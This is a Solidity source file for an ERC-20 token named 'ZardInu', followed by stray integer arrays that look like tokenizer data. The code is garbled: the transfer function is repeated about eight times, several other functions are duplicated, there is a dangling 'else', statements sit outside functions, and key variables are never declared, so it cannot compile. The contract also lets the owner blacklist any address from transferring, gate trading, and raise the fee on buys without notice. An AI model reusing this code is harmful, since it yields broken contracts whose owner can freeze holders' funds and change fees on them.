contract ZardInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; uint256 public defaultTaxFee = 3; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; uint256 public defaultMarketingFee = 4; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; bool public feesOnSellersAndBuyers = true; address payable private _teamWalletAddress; address payable private _marketingWalletAddress; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; bool public tradingEnabled = false; event SwapAndSendEnabledUpdated(bool enabled); bool private cooldownEnabled = false; bool private isCooldownEnabled = true; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; mapping (address => bool) private bots; event MaxTxAmountUpdated(uint _maxTxAmount); mapping (address => bool) private _isBlacklisted; modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isBlackListedBot[address(0x7589319ED0fD750017159fb4E4d96C63966173C1)] = true; _blackListedBots.push(address(0x7589319ED0fD750017159fb4E4d96C63966173C1)); _isBlackListedBot[address(0x65A67DF75CCbF57828185c7C050e34De64d859d0)] = true; _blackListedBots.push(address(0x65A67DF75CCbF57828185c7C050e34De64d859d0)); _isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true; _blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)); _isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true; _blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)); _isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true; _blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)); _isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true; _blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)); _isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true; _blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)); _isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true; _blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)); _isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true; _blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848)); _isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true; _blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)); _isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true; _blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679)); _isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true; _blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)); _isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true; _blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)); _isBlackListedBot[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true; _blackListedBots.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)); _isBlackListedBot[address(0x000000000000084e91743124a982076C59f10084)] = true; _blackListedBots.push(address(0x000000000000084e91743124a982076C59f10084)); _isBlackListedBot[address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)] = true; _blackListedBots.push(address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)); _isBlackListedBot[address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)] = true; _blackListedBots.push(address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)); _isBlackListedBot[address(0x000000005804B22091aa9830E50459A15E7C9241)] = true; _blackListedBots.push(address(0x000000005804B22091aa9830E50459A15E7C9241)); _isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true; _blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553)); _isBlackListedBot[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true; _blackListedBots.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD)); _isBlackListedBot[address(0x0000000000007673393729D5618DC555FD13f9aA)] = true; _blackListedBots.push(address(0x0000000000007673393729D5618DC555FD13f9aA)); _isBlackListedBot[address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)] = true; _blackListedBots.push(address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)); _isBlackListedBot[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true; _blackListedBots.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)); _isBlackListedBot[address(0x000000917de6037d52b1F0a306eeCD208405f7cd)] = true; _blackListedBots.push(address(0x000000917de6037d52b1F0a306eeCD208405f7cd)); _isBlackListedBot[address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)] = true; _blackListedBots.push(address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)); _isBlackListedBot[address(0x72b30cDc1583224381132D379A052A6B10725415)] = true; _blackListedBots.push(address(0x72b30cDc1583224381132D379A052A6B10725415)); _isBlackListedBot[address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)] = true; _blackListedBots.push(address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)); _isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true; _blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)); _isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true; _blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)); _isBlackListedBot[address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)] = true; _blackListedBots.push(address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)); _isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true; _blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)); _isBlackListedBot[address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)] = true; _blackListedBots.push(address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)); _isBlackListedBot[address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)] = true; _blackListedBots.push(address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)); _isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true; _blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)); _isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true; _blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)); _isBlackListedBot[address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)] = true; _blackListedBots.push(address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } } else { function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } uint256 contractTokenBalance = balanceOf(address(this)); function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } bool takeFee = true; function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; _marketingFee = _marketingFee4Sellers; } }
11,892,535
[ 1, 16351, 4471, 738, 358, 366, 4665, 738, 358, 7720, 473, 1366, 358, 13667, 310, 9230, 7620, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
